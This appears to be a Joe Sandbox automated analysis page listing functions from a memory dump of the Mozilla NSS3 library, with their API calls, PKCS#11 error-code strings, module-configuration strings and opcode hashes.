Opcode Fuzzy Hash: 09d6647820ebc13fa0a7969a5a1a01ef6564451edef5f171e260e0c4a101175e
Instruction Fuzzy Hash: 72717A716082449FDB04CF68E898AAABBF5FF89314F14CA1CF94997311D730A986CBD1

Function 6CBAED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CBAEE3D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 382ba9ea3c70f34c887b8066e66eb477f4d3a03291e3dd8374f4790975fcdcc3
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 5C71F572E057818FEB18CF99C88066EB7F2EF88304F14462DD89597791D731E912CB91

Function 6CAD5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CAD6013

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: d939bb59d42cf23e3516376ca8ab1150e53be5e3daca6b5a8b1371aed0c507cc
Instruction ID: 65a75166ff4c70d02a07ca9826a5bef07f3fedc4dc70825a5a5a90674a0a12ec
Opcode Fuzzy Hash: d939bb59d42cf23e3516376ca8ab1150e53be5e3daca6b5a8b1371aed0c507cc
Instruction Fuzzy Hash: A4C138B1B042068BDB04CF19C4907AAB7B2EF49318F2E8529D995DBB42D731F8C5CB91

Function 6CAE4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CAE5125

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 9d666867bfcdd1e285c3b8e5a9df1f0eea73b9b477781a68a9c78b60ffdd11ed
Instruction ID: 8829b2a62dcb40337b1b6800a0f9e13f854b368fbc8a7743a3c8e00ce77a0707
Opcode Fuzzy Hash: 9d666867bfcdd1e285c3b8e5a9df1f0eea73b9b477781a68a9c78b60ffdd11ed
Instruction Fuzzy Hash: A8E12670A093448FDB04DF69E59865ABBF4FF89308F158A1DE88997351E730D985CBC2

Function 6CC65E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CC65B90: PR_Lock.NSS3(00010000,?,00000000,?,6CB4DF9B), ref: 6CC65B9E
Part of subcall function 6CC65B90: PR_Unlock.NSS3 ref: 6CC65BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CC65E23,6CB4E154), ref: 6CC65EBF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: e4ffc46c85d5e7346bbb645fd0b6a4cdbe6be11fd9b4de85619cf2c8885314ee
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: BE519D72E0021A8FCB18CF59C9815AEF3B2FF88314B29457DD816B7745E734A941CBA0

Function 6CC1DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9958883333b89b4e77f8a7d082f33c924d1d12a0e1005fc06193c06c0b01cb
Instruction ID: 6b0b1f33488887793cca33b90ea6877ea40debade1e3823c93f2cc3497126310
Opcode Fuzzy Hash: 2d9958883333b89b4e77f8a7d082f33c924d1d12a0e1005fc06193c06c0b01cb
Instruction Fuzzy Hash: 0EF17C71A04205CFDB09CF1AD494BAA77B2BF89314F29416CD8099BB41DB35ED42DBD1

Function 6CBB1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 3b02ec221c81d7e845d5df9672dd8e220fb8cdc94e08feebc25e92310910e633
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 52D15A32D046968BDB118E18C8843FA7763AB85328F5D4329DC647B7C6CB7AE905C7D2

Function 6CB48EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5288f72ce4b9825fd0eed57eba8233732f3f49e513398ce772a5d2d6d3d5e4d0
Instruction ID: 5d7edb43b550ba4ab02b3eda591a7dc71a860cc89c1a48e3425c9dce93ed763d
Opcode Fuzzy Hash: 5288f72ce4b9825fd0eed57eba8233732f3f49e513398ce772a5d2d6d3d5e4d0
Instruction Fuzzy Hash: A9110132A082559BDB04CF25E884B5AB7B5FF4231CF04866AD805CFB45C376E886D7C2

Function 6CC20C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03dd3176cef0dfcba55b0f65c16aa812aec119c126282de1ba27f391b9d32ae
Instruction ID: d05c273ad90539da7ab4eb6745ffac9300fde73386c3250085d421f9a7d76fc2
Opcode Fuzzy Hash: e03dd3176cef0dfcba55b0f65c16aa812aec119c126282de1ba27f391b9d32ae
Instruction Fuzzy Hash: AF11E3B4B043058FCB00DF19D89066A7BB5FF85368F14806ED8198B701EB35E806CBA1

Function 6CB93FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 1b99c99c1817d5adc58b919cc4fb8ee702741f713422c60356f8793405fc7761
Instruction ID: 1a2bbe5c4b17607464feeb7d6b479ab7fa18e7f6a4afdb5f4344f2e17b1d3cae
Opcode Fuzzy Hash: 1b99c99c1817d5adc58b919cc4fb8ee702741f713422c60356f8793405fc7761
Instruction Fuzzy Hash: 51F05E70A047598BCB10DF69C45159EB7F4EF0A354F109629EC8AAB301EB30AAD5C7D1

Function 6CC20D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 411d674eb4194bb2ab53a4635aa487a9365695d88c207d856aced893a08f167b
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: B3E06D3A243458A7DB14CE09C460AA97359EF81619FA480BACC599BE01E637F8038781

Function 6CB4CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82a9beaaa87c09da878b0a2eb9bbce7364d0411eebbe576c65e9d9133e7854a
Instruction ID: c1c605375656ec22fd04e3d4a44232d026da58a2947147fa1f40987e2adc6acd
Opcode Fuzzy Hash: c82a9beaaa87c09da878b0a2eb9bbce7364d0411eebbe576c65e9d9133e7854a
Instruction Fuzzy Hash: AAC04838248608CFC704DA48E4999A43BB8AB096117040094EA028B721DA21F800CA84

Function 6CB81D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CB81D46), ref: 6CB82345

Strings

CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CB8226B
CKR_SIGNATURE_INVALID, xrefs: 6CB820CF
rv = 0x%x, xrefs: 6CB82312
CKR_DEVICE_REMOVED, xrefs: 6CB82261
CKR_STATE_UNSAVEABLE, xrefs: 6CB82037
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CB8218D
CKR_PIN_LEN_RANGE, xrefs: 6CB82061
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CB8232E
CKR_PIN_EXPIRED, xrefs: 6CB8206B
CKR_DEVICE_ERROR, xrefs: 6CB8229D
CKR_PIN_INCORRECT, xrefs: 6CB81D92
CKR_DEVICE_MEMORY, xrefs: 6CB81FF3
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CB81DE0
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CB82179
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CB820D9
CKR_SAVED_STATE_INVALID, xrefs: 6CB81E56
CKR_OPERATION_ACTIVE, xrefs: 6CB822B8
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CB8204D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CB82327
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CB82319
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CB8227F
rv = %s, xrefs: 6CB82340
CKR_MUTEX_BAD, xrefs: 6CB81F49
CKR_NEXT_OTP, xrefs: 6CB8222F
CKR_INFORMATION_SENSITIVE, xrefs: 6CB822B1
CKR_OK, xrefs: 6CB81DFC
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CB82293, 6CB8233F
CKR_TOKEN_NOT_PRESENT, xrefs: 6CB81F81
CKR_RANDOM_NO_RNG, xrefs: 6CB822A7
CKR_PIN_INVALID, xrefs: 6CB82057
CKR_WRAPPED_KEY_INVALID, xrefs: 6CB81FB5
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CB82320
CKR_NEW_PIN_MODE, xrefs: 6CB81E9F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CB81F77
CKR_MUTEX_NOT_LOCKED, xrefs: 6CB82225
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CB81F8B
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CB81F0F
CKR_FUNCTION_CANCELED, xrefs: 6CB81E73
CKR_BUFFER_TOO_SMALL, xrefs: 6CB82183
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CB82275
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CB822FF
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CB82015
CKR_PIN_LOCKED, xrefs: 6CB82075
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CB81F95
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CB81EE1
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CB81FD7
CKR_FUNCTION_REJECTED, xrefs: 6CB82289

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 915ed7143ab4caf46ee912caf398ee6bb80af6bf26c98ae3af1a54d7b71ffa18
Instruction ID: 3f28edb6f09441ef827f7ca9560a9943d66deaa907d6ae87dab031224b4dcb36
Opcode Fuzzy Hash: 915ed7143ab4caf46ee912caf398ee6bb80af6bf26c98ae3af1a54d7b71ffa18
Instruction Fuzzy Hash: 68612320A4F0C4CEEA1C464CA1BE36E3134E707345F64827FE7968FE95E295CA824693

Function 6CBB5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CBB5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBB5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CBB5E5C
free.MOZGLUE(00000000), ref: 6CBB5E7E
free.MOZGLUE(00000000), ref: 6CBB5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CBB5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CBB5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBB5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CBB5EF0
free.MOZGLUE(00000000), ref: 6CBB5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBB5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CBB5F5B
free.MOZGLUE(00000000), ref: 6CBB5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CBB5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CBB5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBB5FC4
free.MOZGLUE(00000000), ref: 6CBB5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBB5FE9
free.MOZGLUE(00000000), ref: 6CBB5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBB600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CBB605A
PR_smprintf.NSS3(6CC8AAF9,00000000), ref: 6CBB606A
free.MOZGLUE(00000000), ref: 6CBB607C
free.MOZGLUE(00000000), ref: 6CBB609A
free.MOZGLUE(00000000), ref: 6CBB60B2
free.MOZGLUE(?), ref: 6CBB60CE

Strings

readOnly, xrefs: 6CBB5E56
configDir=, xrefs: 6CBB5F9D
secmod.db, xrefs: 6CBB5EA0
forceSecmodChoice, xrefs: 6CBB5F55
pkcs11.txt, xrefs: 6CBB5F47, 6CBB5F7C, 6CBB603A, 6CBB6053
secmod=, xrefs: 6CBB5FB1
%s/%s, xrefs: 6CBB6055
noModDB, xrefs: 6CBB5EEA
flags, xrefs: 6CBB5E3A, 6CBB5EC6, 6CBB5F30

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: c4238fbd2c7d2a9c3235d078e5196fcc07e70f8e1d823dfdde3636360ee99a76
Instruction ID: 2f053a481b477f65953c998c6182a85f39526e404cb5d725fb7cb9b9293ed490
Opcode Fuzzy Hash: c4238fbd2c7d2a9c3235d078e5196fcc07e70f8e1d823dfdde3636360ee99a76
Instruction Fuzzy Hash: 0A91A3F4A042855BEF019F65DC85BBB3BA8EF0534CF080060E855ABB42EB35D959C7A7

Function 6CB828A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CB828BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CB828EF

Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(?), ref: 6CC60B88
Part of subcall function 6CC609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC60C5D
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC60C8D
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60C9C
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(?), ref: 6CC60CD1
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC60CEC
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60CFB
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60D16
Part of subcall function 6CC609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC60D26
Part of subcall function 6CC609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC60D35
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC60D65
Part of subcall function 6CC609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC60D70
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60D90
Part of subcall function 6CC609D0: free.MOZGLUE(00000000), ref: 6CC60D99

Part of subcall function 6CB40F00: PR_GetPageSize.NSS3(6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F1B
Part of subcall function 6CB40F00: PR_NewLogModule.NSS3(clock,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CB828D6

Part of subcall function 6CC609D0: PR_Now.NSS3 ref: 6CC60A22
Part of subcall function 6CC609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC60A35
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC60A66
